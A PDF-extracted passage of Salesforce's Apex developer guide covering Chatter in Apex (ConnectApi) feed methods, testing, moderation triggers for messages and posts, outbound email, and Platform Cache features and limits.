Tip: To return a feed that includes feed elements, call these methods. As of API version 31.0, the only feed element types are feed
item and bundle, but that could change in the future.
Getting feed items from a feed is similar, but not identical, for each feed type.
Get feed elements from the Company feed, the Home feed, and the Moderation feed
To get the feed elements from the company feed, the home feed, or the moderation feed, use these methods that dont require a
subjectId:
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType)

ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Get feed elements from the Favorites feed

To get the feed elements from the favorites feed, specify a favoriteId. For these feeds, the subjectId must be the ID of
the context user or the alias me.
ConnectApi.ChatterFavorites.getFeedElements(String communityId, String subjectId,
String favoriteId)

ConnectApi.ChatterFavorites.getFeedElements(String communityId, String subjectId,

String favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam)

ConnectApi.ChatterFavorites.getFeedElements(String communityId, String subjectId,

String favoriteId,Integer recentCommentCount, Integer elementsPerBundle, String
pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Get feed elements from the Filter feed

To get the feed elements from the filters feed, specify a keyPrefix. The keyPrefix indicates the object type and is the first
three characters of the object ID. The subjectId must be the ID of the context user or the alias me.
ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed(String communityId, String
subjectId, String keyPrefix)

ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed(String communityId, String

subjectId, String keyPrefix, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortOrder)

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ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed(String communityId, String

subjectId, String keyPrefix, Integer recentCommentCount, Integer elementsPerBundle,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortOrder)

Get feed elements from the Bookmarks, Files, Groups, Mute, News, People, Record, To, Topics, and
UserProfile feeds
To get the feed elements from these feed types, specify a subject ID. If feedType is Record, subjectId can be any record
ID, including a group ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile,
subjectId can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the
alias me..
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId)

ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

Get feed elements from a Record feed

For subjectId, specify a record ID.
Tip: The record can be a record of any type that supports feeds, including group. The feed on the group page in the Salesforce
UI is a record feed.
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam. Boolean showInternalOnly)

ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer
pageSize, ConnectApi.FeedSortOrder sortParam. Boolean showInternalOnly)

SEE ALSO:
ChatterFavorites Class
ChatterFeeds Class
ConnectApi Output Classes
ConnectApi Input Classes

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Accessing ConnectApi Data in Communities and Portals

Most ConnectApi methods work within the context of a single community.
Many ConnectApi methods include communityId as the first argument. If you do not have communities enabled, use
'internal' or null for this argument.
If you have communities enabled, the communityId argument specifies whether to execute a method in the context of the default
community (by specifying 'internal' or null) or in the context of a specific community (by specifying a community ID). Any
entity, such as a comment, a feed item, and so on, referred to by other arguments in the method must be located in the specified
community. The specified community ID is used in all URLs returned in the output.
To access the data in a partner portal or a Customer Portal, use a community ID for the communityId argument. You cannot use
'internal' or null.
Most URLs returned in ConnectApi output objects are Chatter REST API resources.
If you specify a community ID, URLs returned in the output use the following format:
/connect/communities/communityId/resource

If you specify 'internal', URLs returned in the output use the same format:
/connect/communities/internal/resource

If you specify null, URLs returned in the output use one of these formats:
/chatter/resource
/connect/resource

Methods Available to Communities Guest Users

If your community allows access without logging in, guest users have access to many Chatter in Apex methods. These methods return
information the guest user has access to.
If your community allows access without logging in, all overloads of these methods are available to guest users.
ChatterFeeds methods:
getComment()
getCommentsForFeedElement()
getFeed()
getFeedElement()
getFeedElementBatch()
getFeedElementPoll()
getFeedElementsFromFeed()
getFeedElementsUpdatedSince()
getLike()
getLikesForComment()
getLikesForFeedElement()
getRelatedPosts()
searchFeedElements()

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searchFeedElementsInFeed()
Important: These ChatterFeeds feed item methods are available to guest users only in version 31.0. In version 32.0 and
later, the ChatterFeeds feed element methods are available to guest users.
getCommentsForFeedItem()
getFeedItem()
getFeedItemBatch()
getFeedItemsFromFeed()
getFeedItemsUpdatedSince()
getLikesForFeedItem()
searchFeedItems()
searchFeedItemsInFeed()
ChatterGroups methods:
getGroup()
getGroups()
getMembers()
searchGroups()
ChatterUsers methods:
getFollowers()
getFollowings()
getGroups()
getPhoto()
getReputation()
getUser()
getUserBatch()
getUsers()
searchUserGroups()
searchUsers()
Communities methods:
getCommunity()
Knowledge methods:
getTrendingArticles()
getTrendingArticlesForTopic()
ManagedTopics methods:
getManagedTopic()
getManagedTopics()
Topics methods:
getGroupsRecentlyTalkingAboutTopic()

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getRecentlyTalkingAboutTopicsForGroup()
getRecentlyTalkingAboutTopicsForUser()
getRelatedTopics()
getTopic()
getTopics()
getTrendingTopics()
UserProfiles methods:
getPhoto()
Zones methods:
searchInZone()

SEE ALSO:
Enable Public Access to Community Content

Using ConnectApi Input and Output Classes

Some classes in the ConnectApi namespace contain static methods that access Chatter REST API data. The ConnectApi namespace
also contains input classes to pass as parameters and output classes that can be returned by calls to the static methods.
ConnectApi methods take either simple or complex types. Simple types are primitive Apex data like integers and strings. Complex
types are ConnectApi input objects.

The successful execution of a ConnectApi method can return an output object from the ConnectApi namespace. ConnectApi
output objects can be made up of other output objects. For example, the ConnectApi.ActorWithId output object contains
properties such as id and url, which contain primitive data types. It also contains a mySubscription property, which contains
a ConnectApi.Reference object.
Note: All Salesforce IDs in ConnectApi output objects are 18 character IDs. Input objects can use 15 character IDs or 18
character IDs.
SEE ALSO:
ConnectApi Input Classes
ConnectApi Output Classes

Understanding Limits for ConnectApi Classes

Limits for methods in the ConnectApi namespace are different than the limits for other Apex classes.
For classes in the ConnectApi namespace, every write operation costs one DML statement against the Apex governor limit.
ConnectApi method calls are also subject to rate limiting. ConnectApi rate limits match Chatter REST API rate limits. Both have
a per user, per namespace, per hour rate limit. When you exceed the rate limit, a ConnectApi.RateLimitException is thrown.
Your Apex code must catch and handle this exception.
When testing code, a call to the Apex Test.startTest method starts a new rate limit count. A call to the Test.stopTest
method sets your rate limit count to the value it was before you called Test.startTest.

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Serializing and Deserializing ConnectApi Obejcts

When ConnectApi output objects are serialized into JSON, the structure is similar to the JSON returned from Chatter REST API. When
ConnectApi input objects are deserialized from JSON, the format is also similar to Chatter REST API.
Chatter in Apex supports serialization and deserialization in the following Apex contexts:
JSON and JSONParser classesserialize Chatter in Apex outputs to JSON and deserialize Chatter in Apex inputs from JSON.
Apex REST with @RestResourceserialize Chatter in Apex outputs to JSON as return values and deserialize Chatter in Apex
inputs from JSON as parameters.
JavaScript Remoting with @RemoteActionserialize Chatter in Apex outputs to JSON as return values and deserialize Chatter
in Apex inputs from JSON as parameters.
Chatter in Apex follows these rules for serialization and deserialization:
Only output objects can be serialized.
Only top-level input objects can be deserialized.
Enum values and exceptions cannot be serialized or deserialized.

ConnectApi Versioning and Equality Checking

Versioning in ConnectApi classes follows specific rules that are quite different than the rules for other Apex classes.
Versioning for ConnectApi classes follows these rules:
A ConnectApi method call executes in the context of the version of the class that contains the method call. The use of version
is analogous to the /vXX.X section of a Chatter REST API URL.
Each ConnectApi output object exposes a getBuildVersion method. This method returns the version under which the
method that created the output object was invoked.
When interacting with input objects, Apex can access only properties supported by the version of the enclosing Apex class.
Input objects passed to a ConnectApi method may contain only non-null properties that are supported by the version of the
Apex class executing the method. If the input object contains version-inappropriate properties, an exception is thrown.
The output of the toString method only returns properties that are supported in the version of the code interacting with the
object. For output objects, the returned properties must also be supported in the build version.
Apex REST, JSON.serialize, and @RemoteAction serialization include only version-appropriate properties.
Apex REST, JSON.deserialize, and @RemoteAction deserialization reject properties that are version-inappropriate.
Enums are not versioned. Enum values are returned in all API versions. Clients should handle values they don't understand gracefully.
Equality checking for ConnectApi classes follows these rules:
Input objectsproperties are compared.
Output objectsproperties and build versions are compared. For example, if two objects have the same properties with the same
values but have different build versions, the objects are not equal. To get the build version, call getBuildVersion.

Casting ConnectApi Objects

It may be useful to downcast some ConnectApi output objects to a more specific type.
This technique is especially useful for message segments, feed item capabilities, and record fields. Message segments in a feed item are
typed as ConnectApi.MessageSegment. Feed item capabilities are typed as ConnectApi.FeedItemCapability.
Record fields are typed as ConnectApi.AbstractRecordField. These classes are all abstract and have several concrete

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Wildcards

subclasses. At runtime you can use instanceof to check the concrete types of these objects and then safely proceed with the
corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.
The following example downcasts a ConnectApi.MessageSegment to a ConnectApi.MentionSegment:
if(segment instanceof ConnectApi.MentionSegment) {
ConnectApi.MentionSegment = (ConnectApi.MentionSegment)segment;
}

Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.
SEE ALSO:
ChatterFeeds Class
ConnectApi.FeedElementCapabilities Class
ConnectApi.MessageSegment Class
ConnectApi.AbstractRecordView Class

Wildcards
Use wildcard characters to match text patterns in Chatter REST API and Chatter in Apex searches.
A common use for wildcards is searching a feed. Pass a search string and wildcards in the q parameter. This example is a Chatter REST
API request:
/chatter/feed-elements?q=chat*

This example is a Chatter in Apex method call:

ConnectApi.ChatterFeeds.searchFeedElements(null, 'chat*');

You can specify the following wildcard characters to match text patterns in your search:
Wildcard

Description

Asterisks match zero or more characters at the middle or end of your search term. For example, a search for john*
finds items that start with john, such as, john, johnson, or johnny. A search for mi* meyers finds items with mike
meyers or michael meyers.
If you are searching for a literal asterisk in a word or phrase, then escape the asterisk (precede it with the \ character).

Question marks match only one character in the middle or end of your search term. For example, a search for jo?n
finds items with the term john or joan but not jon or johan. You can't use a ? in a lookup search.

When using wildcards, consider the following notes:

The more focused your wildcard search, the faster the search results are returned, and the more likely the results will reflect your
intention. For example, to search for all occurrences of the word prospect (or prospects, the plural form), it is more efficient
to specify prospect* in the search string than to specify a less restrictive wildcard search (such as prosp*) that could return
extraneous matches (such as prosperity).

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Testing ConnectApi Code

Tailor your searches to find all variations of a word. For example, to find property and properties, you would specify
propert*.
Punctuation is indexed. To find * or ? inside a phrase, you must enclose your search string in quotation marks and you must escape
the special character. For example, "where are you\?" finds the phrase where are you?. The escape character (\) is
required in order for this search to work correctly.

Testing ConnectApi Code

Like all Apex code, Chatter in Apex code requires test coverage.
Chatter in Apex methods dont run in system mode, they run in the context of the current user (also called the context user user). The
methods have access to whatever the current user has access to. Chatter in Apex does not support the runAs system method.
Most Chatter in Apex methods require access to real organization data, and fail unless used in test methods marked
@IsTest(SeeAllData=true).
However, some Chatter in Apex methods, such as getFeedItemsFromFeed, are not permitted to access organization data in tests
and must be used in conjunction with special test methods that register outputs to be returned in a test context. If a method requires
a setTest method, the requirement is stated in the methods Usage section.
A test method name is the regular method name with a setTest prefix. The test method signature (combination of parameters)
matches a signature of the regular method. For example, if the regular method has three overloads, the test method has three overloads.
Using Chatter in Apex test methods is similar to testing Web services in Apex. First, build the data you expect the method to return. To
build data, create output objects and set their properties. To create objects, you can use no-argument constructors for any non-abstract
output classes.
After you build the data, call the test method to register the data. Call the test method that has the same signature as the regular method
youre testing.
After you register the test data, run the regular method. When you run the regular method, the registered data is returned.
Important: You must use the test method signature that matches the regular method signature. When you call the regular
method, if data wasn't registered with the matching set of parameters, you receive an exception.
This example shows a test that constructs an ConnectApi.FeedItemPage and registers it to be returned when
getFeedItemsFromFeed is called with a particular combination of parameters.
global class NewsFeedClass {
global static Integer getNewsFeedCount() {
ConnectApi.FeedItemPage items =
ConnectApi.ChatterFeeds.getFeedItemsFromFeed(null,
ConnectApi.FeedType.News, 'me');
return items.items.size();
}
}
@isTest
private class NewsFeedClassTest {
@IsTest
static void doTest() {
// Build a simple feed item
ConnectApi.FeedItemPage testPage = new ConnectApi.FeedItemPage();
List<ConnectApi.FeedItem> testItemList = new List<ConnectApi.FeedItem>();
testItemList.add(new ConnectApi.FeedItem());
testItemList.add(new ConnectApi.FeedItem());

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Classes

testPage.items = testItemList;
// Set the test data
ConnectApi.ChatterFeeds.setTestGetFeedItemsFromFeed(null,
ConnectApi.FeedType.News, 'me', testPage);
// The method returns the test page, which we know has two items in it.
Test.startTest();
System.assertEquals(2, NewsFeedClass.getNewsFeedCount());
Test.stopTest();
}
}

Differences Between ConnectApi Classes and Other Apex Classes

Please be aware of these additional differences between ConnectApi classes and other Apex classes.
System mode and context user
Chatter in Apex methods dont run in system mode, they run in the context of the current user (also called the context user user).
The methods have access to whatever the current user has access to. Chatter in Apex does not support the runAs system method.
When a method takes a subjectId argument, often that subject must be the context user. In these cases, you can use the string
me to specify the context user instead of an ID.
with sharing and without sharing
Chatter in Apex ignores the with sharing and without sharing keywords. Instead, all security, field level sharing, and
visibility is controlled by the context user. For example, if a context user is a member of a private group, ConnectApi classes can

post to that group. If the context user is not a member of a private group, the code cant see the feed items for that group and cannot
post to the group.
Asynchronous operations
Some Chatter in Apex operations are asynchronous, that is, they dont occur immediately. For example, if your code adds a feed
item for a user, it is not immediately available in the news feed. Another example: when you add a photo, it is not available immediately.
For testing, this means that if you add a photo, you cant retrieve it immediately.
No XML Support in Apex REST
Apex REST does not support XML serialization and deserialization of Chatter in Apex objects. Apex REST does support JSON serialization
and deserialization of Chatter in Apex objects.
Empty log entries
Information about Chatter in Apex objects doesnt appear in VARIABLE_ASSIGNMENT log events.
No Apex SOAP Web services support
Chatter in Apex objects cannot be used in Apex SOAP Web services indicated with the keyword webservice.

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Moderate Chatter Private Messages with Triggers

Write a trigger for ChatterMessage to automate the moderation of private messages in an
organization or community. Use triggers to ensure that messages conform to your companys
messaging policies and dont contain blacklisted words.
Write an Apex before insert trigger to review the private message body and information about the
sender. You can add validation messages to the record or the Body field, which causes the message
to fail and an error to be returned to the user.
Although you can create an after insert trigger, ChatterMessage is not updatable, and consequently
any after insert trigger that modifies ChatterMessage will fail at run time with an appropriate error
message.
To create a trigger for private messages from Setup, enter ChatterMessage Triggers in
the Quick Find box, then select ChatterMessage Triggers. Alternatively, you can create a
trigger from the Developer Console by clicking File > New > Apex Trigger and selecting
ChatterMessage from the sObject drop-down list.

EDITIONS
Available in: Salesforce
Classic
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To save Apex triggers for
ChatterMessage:
Author Apex
AND

This table lists the fields that are exposed on ChatterMessage.

Table 3: Available Fields in ChatterMessage
Field

Apex Data Type

Description

Unique identifier for the Chatter message

Body

String

Body of the Chatter message as posted by the

sender

SenderId

User ID of the sender

SentDate

DateTime

Date and time that the message was sent

SendingNetworkId

Network (Community) in which the message

was sent.

Manage Chatter
Messages

This field is visible only if communities are

enabled and Private Messages are enabled in
at least one community.

This example shows a before insert trigger on ChatterMessage that is used to review each new message. This trigger calls a class method,
moderator.review(), to review each new message before it is inserted.
trigger PrivateMessageModerationTrigger on ChatterMessage (before insert) {
ChatterMessage[] messages = Trigger.new;
// Instantiate the Message Moderator using the factory method
MessageModerator moderator = MessageModerator.getInstance();
for (ChatterMessage currentMessage : messages) {
moderator.review(currentMessage);
}
}

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Moderate Chatter Private Messages with Triggers

If a message violates your policy, for example when the message body contains blacklisted words, you can prevent the message from
being sent by calling the Apex addError method. You can call addError to add a custom error message on a field or on the
entire message. The following snippet shows a portion of the reviewContent method that adds an error to the message Body
field.
if (proposedMsg.contains(nextBlackListedWord)) {
theMessage.Body.addError(
'This message does not conform to the acceptable use policy');
System.debug('moderation flagged message with word: '
+ nextBlackListedWord);
problemsFound=true;
break;
}

The following is the full MessageModerator class, which contains methods for reviewing the sender and the content of messages.
Part of the code in this class has been deleted for brevity.
public class MessageModerator {
private Static List<String> blacklistedWords=null;
private Static MessageModerator instance=null;
/**
Overall review includes checking the content of the message,
and validating that the sender is allowed to send messages.
**/
public void review(ChatterMessage theMessage) {
reviewContent(theMessage);
reviewSender(theMessage);
}
/**
This method is used to review the content of the message. If the content
is unacceptable, field level error(s) are added.
**/
public void reviewContent(ChatterMessage theMessage) {
// Forcing to lower case for matching
String proposedMsg=theMessage.Body.toLowerCase();
boolean problemsFound=false; // Assume it's acceptable
// Iterate through the blacklist looking for matches
for (String nextBlackListedWord : blacklistedWords) {
if (proposedMsg.contains(nextBlackListedWord)) {
theMessage.Body.addError(
'This message does not conform to the acceptable use policy');
System.debug('moderation flagged message with word: '
+ nextBlackListedWord);
problemsFound=true;
break;
}
}
// For demo purposes, we're going to add a "seal of approval" to the
// message body which is visible.
if (!problemsFound) {
theMessage.Body = theMessage.Body +
' *** approved, meets conduct guidelines';

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}
}
/**
Is
----

the sender allowed to send messages in this context?

Moderators -- always allowed to send
Internal Members -- always allowed to send
Community Members -- in general only allowed to send if they have
a sufficient Reputation
-- Community Members -- with insufficient reputation may message the
moderator(s)
**/
public void reviewSender(ChatterMessage theMessage) {
// Are we in a Community Context?
boolean isCommunityContext = (theMessage.SendingNetworkId != null);
// Get the User
User sendingUser = [SELECT Id, Name, UserType, IsPortalEnabled
FROM User where Id = :theMessage.SenderId ];
// ...
}
/**
Enforce a singleton pattern to improve performance
**/
public static MessageModerator getInstance() {
if (instance==null) {
instance = new MessageModerator();
}
return instance;
}

/**
Default contructor is private to prevent others from instantiating this class
without using the factory.
Initializes the static members.
**/
private MessageModerator() {
initializeBlackList();
}
/**
Helper method that does the "heavy lifting" to load up the dictionaries
from the database.
Should only run once to initialize the static member which is used for
subsequent validations.
**/
private void initializeBlackList() {
if (blacklistedWords==null) {
// Fill list of blacklisted words
// ...
}

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Using Salesforce Features with Apex

Moderate Feed Items with Triggers

}
}

Moderate Feed Items with Triggers

Write a trigger for FeedItem to automate the moderation of posts in an organization or community.
Use triggers to ensure that posts conform to your companys communication policies and dont
contain unwanted words or phrases.
Note: This release contains a beta version of the pre-moderation feature, which means its
a high-quality feature with known limitations. This feature isnt generally available unless or
until Salesforce announces its general availability in documentation or in press releases or
public statements. We cant guarantee general availability within any particular time frame
or at all. Make your purchase decisions only on the basis of generally available products and
features. You can provide feedback and suggestions for this feature in the Community
Implementation group in the Success Community.

EDITIONS
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To save Apex triggers for
FeedItem:
Author Apex

Write an Apex before insert trigger to review the feed item body and change the status of the feed
item if it contains a blacklisted phrase. To create a trigger for feed items from Setup, enter
FeedItem Triggers in the Quick Find box, then select FeedItem Triggers. Alternatively, you can create a trigger from the
Developer Console by clicking File > New > Apex Trigger and selecting FeedItem from the sObject drop-down list.
This example shows a before insert trigger on FeedItem that is used to review each new post. If the post contains the unwanted phrase,
the trigger also sets the status of the post to PendingReview.
trigger ReviewFeedItem on FeedItem (before insert) {
for (Integer i = 0; i<trigger.new.size(); i++) {
// We don't want to leak "test phrase" information.
if (trigger.new[i].body.containsIgnoreCase('test phrase')) {
trigger.new[i].status = 'PendingReview';
System.debug('caught one for pendingReview');
}
}
}

Communities
Communities are branded spaces for your employees, customers, and partners to connect. You can customize and create communities
to meet your business needs, then transition seamlessly between them.
Communities are branded spaces for your employees, customers, and partners to connect. You can interact with communities in Apex
using the Network class and using Chatter in Apex classes in the ConnectApi namespace.

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Chatter in Apex has a ConnectApi.Communities class with methods that return information about communities. Also, most
Chatter in Apex methods take a communityId argument.
SEE ALSO:
Network Class
ConnectApi Namespace

Email
You can use Apex to work with inbound and outbound email.
Use Apex with these email features:
IN THIS SECTION:
Inbound Email
Use Apex to work with email sent to Salesforce.
Outbound Email
Use Apex to work with email sent from Salesforce.

Inbound Email
Use Apex to work with email sent to Salesforce.
You can use Apex to receive and process email and attachments. The email is received by the Apex email service, and processed by
Apex classes that utilize the InboundEmail object.
Note: The Apex email service is only available in Developer, Enterprise, Unlimited, and Performance Edition organizations.
See Apex Email Service.

Outbound Email
Use Apex to work with email sent from Salesforce.
You can use Apex to send individual and mass email. The email can include all standard email attributes (such as subject line and blind
carbon copy address), use Salesforce email templates, and be in plain text or HTML format, or those generated by Visualforce.
Note: Visualforce email templates cannot be used for mass email.
You can use Salesforce to track the status of email in HTML format, including the date the email was sent, first opened and last opened,
and the total number of times it was opened.
To send individual and mass email with Apex, use the following classes:
SingleEmailMessage
Instantiates an email object used for sending a single email message. The syntax is:
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();

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Outbound Email

MassEmailMessage
Instantiates an email object used for sending a mass email message. The syntax is:
Messaging.MassEmailMessage mail = new Messaging.MassEmailMessage();

Messaging
Includes the static sendEmail method, which sends the email objects you instantiate with either the SingleEmailMessage
or MassEmailMessage classes, and returns a SendEmailResult object.
The syntax for sending an email is:
Messaging.sendEmail(new Messaging.Email[] { mail } , opt_allOrNone);

where Email is either Messaging.SingleEmailMessage or Messaging.MassEmailMessage.

The optional opt_allOrNone parameter specifies whether sendEmail prevents delivery of all other messages when any of
the messages fail due to an error (true), or whether it allows delivery of the messages that don't have errors (false). The default
is true.
Includes the static reserveMassEmailCapacity and reserveSingleEmailCapacity methods, which can be
called before sending any emails to ensure that the sending organization won't exceed its daily email limit when the transaction is
committed and emails are sent. The syntax is:
Messaging.reserveMassEmailCapacity(count);

and
Messaging.reserveSingleEmailCapacity(count);

where count indicates the total number of addresses that emails will be sent to.
Note the following:
The email is not sent until the Apex transaction is committed.
The email address of the user calling the sendEmail method is inserted in the From Address field of the email header. All
email that is returned, bounced, or received out-of-office replies goes to the user calling the method.
Maximum of 10 sendEmail methods per transaction. Use the Limits methods to verify the number of sendEmail methods
in a transaction.
Single email messages sent with the sendEmail method count against the sending organization's daily single email limit. When
this limit is reached, calls to the sendEmail method using SingleEmailMessage are rejected, and the user receives a
SINGLE_EMAIL_LIMIT_EXCEEDED error code. However, single emails sent through the application are allowed.
Mass email messages sent with the sendEmail method count against the sending organization's daily mass email limit. When
this limit is reached, calls to the sendEmail method using MassEmailMessage are rejected, and the user receives a
MASS_MAIL_LIMIT_EXCEEDED error code.
Any error returned in the SendEmailResult object indicates that no email was sent.
Messaging.SingleEmailMessage has a method called setOrgWideEmailAddressId. It accepts an object ID to an
OrgWideEmailAddress object. If setOrgWideEmailAddressId is passed a valid ID, the
OrgWideEmailAddress.DisplayName field is used in the email header, instead of the logged-in user's Display Name.
The sending email address in the header is also set to the field defined in OrgWideEmailAddress.Address.

Note: If both OrgWideEmailAddress.DisplayName and setSenderDisplayName are defined, the user receives
a DUPLICATE_SENDER_DISPLAY_NAME error.
For more information, see Organization-Wide Addresses in the Salesforce online help.

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Outbound Email

Example
// First, reserve email capacity for the current Apex transaction to ensure
// that we won't exceed our daily email limits when sending email after
// the current transaction is committed.
Messaging.reserveSingleEmailCapacity(2);
// Processes and actions involved in the Apex transaction occur next,
// which conclude with sending a single email.
// Now create a new single email message object
// that will send out a single email to the addresses in the To, CC & BCC list.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
// Strings to hold the email addresses to which you are sending the email.
String[] toAddresses = new String[] {'[email protected]'};
String[] ccAddresses = new String[] {'[email protected]'};

// Assign the addresses for the To and CC lists to the mail object.
mail.setToAddresses(toAddresses);
mail.setCcAddresses(ccAddresses);
// Specify the address used when the recipients reply to the email.
mail.setReplyTo('[email protected]');
// Specify the name used as the display name.
mail.setSenderDisplayName('Salesforce Support');
// Specify the subject line for your email address.
mail.setSubject('New Case Created : ' + case.Id);
// Set to True if you want to BCC yourself on the email.
mail.setBccSender(false);
// Optionally append the salesforce.com email signature to the email.
// The email address of the user executing the Apex Code will be used.
mail.setUseSignature(false);
// Specify the text content of the email.
mail.setPlainTextBody('Your Case: ' + case.Id +' has been created.');
mail.setHtmlBody('Your case:<b> ' + case.Id +' </b>has been created.<p>'+
'To view your case <a href=https://yourInstance.salesforce.com/'+case.Id+'>click
here.</a>');
// Send the email you have created.
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });

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Platform Cache

Platform Cache
The Force.com Platform Cache layer provides faster performance and better reliability when caching Salesforce session and org data.
Specify what to cache and for how long without using custom objects and settings or overloading a Visualforce view state. Platform
Cache improves performance by distributing cache space so that some applications or operations dont steal capacity from others.
Because Apex runs in a multi-tenant environment with cached data living alongside internally cached data, caching involves minimal
disruption to core Salesforce processes.
IN THIS SECTION:
Platform Cache Features
The Platform Cache API lets you store and retrieve data thats tied to Salesforce sessions or shared across your org. Put, retrieve, or
remove cache values by using the Cache.Session, Cache.Org, Session.Partition, and Org.Partition classes
in the Cache namespace. Use the Platform Cache Partition tool in Setup to create or remove org partitions and allocate their cache
capacities to balance performance across apps.
Platform Cache Considerations
Review these considerations when working with Platform Cache.
Platform Cache Limits
The following limits apply when using Platform Cache.
Platform Cache Partitions
Use Platform Cache partitions to improve the performance of your applications. Partitions allow you to distribute cache space in the
way that works best for your applications. Caching data to designated partitions ensures that its not overwritten by other applications
or less-critical data.
Platform Cache Internals
Platform Cache uses local cache and a least recently used (LRU) algorithm to improve performance.
Store and Retrieve Values from the Session Cache
Use the Cache.Session and Cache.SessionPartition classes to manage values in the session cache. To manage
values in any partition, use the methods in the Cache.Session class. If youre managing cache values in one partition, use the
Cache.SessionPartition methods instead.
Use a Visualforce Global Variable for the Session Cache
Access cached values stored in the session cache from a Visualforce page by using the $Cache.Session global variable.
Store and Retrieve Values from the Org Cache
Use the Cache.Org and Cache.OrgPartition classes to manage values in the org cache. To manage values in any partition,
use the methods in the Cache.Org class. If youre managing cache values in one partition, use the Cache.OrgPartition
methods instead.
Platform Cache Best Practices
Platform Cache can greatly improve performance in your applications. However, its important to follow these guidelines to get the
best cache performance. In general, its more efficient to cache a few large items than to cache many small items separately. Also
be mindful of cache limits to prevent unexpected cache evictions.

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Platform Cache Features

The Platform Cache API lets you store and retrieve data thats tied to Salesforce sessions or shared across your org. Put, retrieve, or remove
cache values by using the Cache.Session, Cache.Org, Session.Partition, and Org.Partition classes in the
Cache namespace. Use the Platform Cache Partition tool in Setup to create or remove org partitions and allocate their cache capacities
to balance performance across apps.
There are two types of cache:
Session cacheStores data for individual user sessions. For example, in an app that finds customers within specified territories,
the calculations that run while users browse different locations on a map are reused.
A session cache lives alongside a user session. The maximum life of a session is eight hours. A session cache expires when its specified
time-to-live (ttlsecs value) is reached or when the session expires after eight hours, whichever comes first.
Org cacheStores data that any user in an org reuses. For example, the contents of navigation bars that dynamically display menu
items based on user profile are reused.
Unlike a session cache, an org cache is accessible across sessions, requests, and org users and profiles. An org cache expires when
its specified time-to-live (ttlsecs value) is reached.
The best data to cache is:
Reused throughout a session
Static (not rapidly changing)
Otherwise expensive to retrieve
For both session and org caches, you can construct calls so that cached data in one namespace isnt overwritten by similar data in
another. Optionally use the Cache.Visibility enumeration to specify whether Apex code can access cached data in a namespace
outside of the invoking namespace.
Each cache operation depends on the Apex transaction within which it runs. If the entire transaction fails, all cache operations in that
transaction are rolled back.

Try Platform Cache

If you want to test performance improvements by using Platform Cache in your own org, you can request trial cache for your production
org. Enterprise, Unlimited, and Performance editions come with some cache, but adding more cache often provides greater performance.
When your trial request is approved, you can allocate capacity to partitions and experiment with using the cache for different scenarios.
Testing the cache on a trial basis lets you make an informed decision about whether to purchase cache.
For more information about trial cache, see Request a Platform Cache Trial in the Salesforce online help.
Platform Cache is also available for purchase. For more information about purchasing cache, see Purchase Platform Cache in the
Salesforce online help.
SEE ALSO:
Session Class
Org Class
Partition Class
OrgPartition Class
SessionPartition Class

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Platform Cache Considerations

Review these considerations when working with Platform Cache.
Cache isnt persisted. Theres no guarantee against data loss.
Data in the cache isnt encrypted.
The cache doesnt support concurrent operations. Multiple, simultaneous user requests (for example, from different browser windows)
can lead to stale or overwritten data in the cache.
Cache misses can happen. We recommend constructing your code to consider a case where previously cached items arent found.
Session cache doesnt support asynchronous Apex. For example, you cant use future methods or batch Apex with session cache.
Session cache doesnt support Anonymous Apex blocks. For example, if you execute Anonymous Apex in the Developer Console,
you get an error.
Cache operations made using the put and remove methods in the Cache Namespace arent supported in constructors of
Visualforce controllers.
Partitions must adhere to the limits within Salesforce.
The session cache can store values up to eight hours. The org cache can store values up to 48 hours.

Platform Cache Limits

The following limits apply when using Platform Cache.
Edition-specific Limits
The following table shows the amount of Platform Cache available for different types of orgs. To purchase more cache, contact your
Salesforce representative.
Edition

Cache Size

Enterprise

10 MB

Unlimited and Performance

30 MB

All others

0 MB

Partition Size Limits

Limit

Value

Minimum partition size

5 MB

Session Cache Limits

Limit

Value

Maximum size of a single cached item (for put() methods)

100 KB

Maximum local cache size for a partition, per-request1

500 KB

Minimum developer-assigned time-to-live

300 seconds (5 minutes)

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Platform Cache Partitions

Limit

Value

Maximum developer-assigned time-to-live

28,800 seconds (8 hours)

Maximum session cache time-to-live

28,800 seconds (8 hours)

Org Cache Limits

Limit

Value

Maximum size of a single cached item (for put() methods)

100 KB

Maximum local cache size for a partition, per-request1

1,000 KB

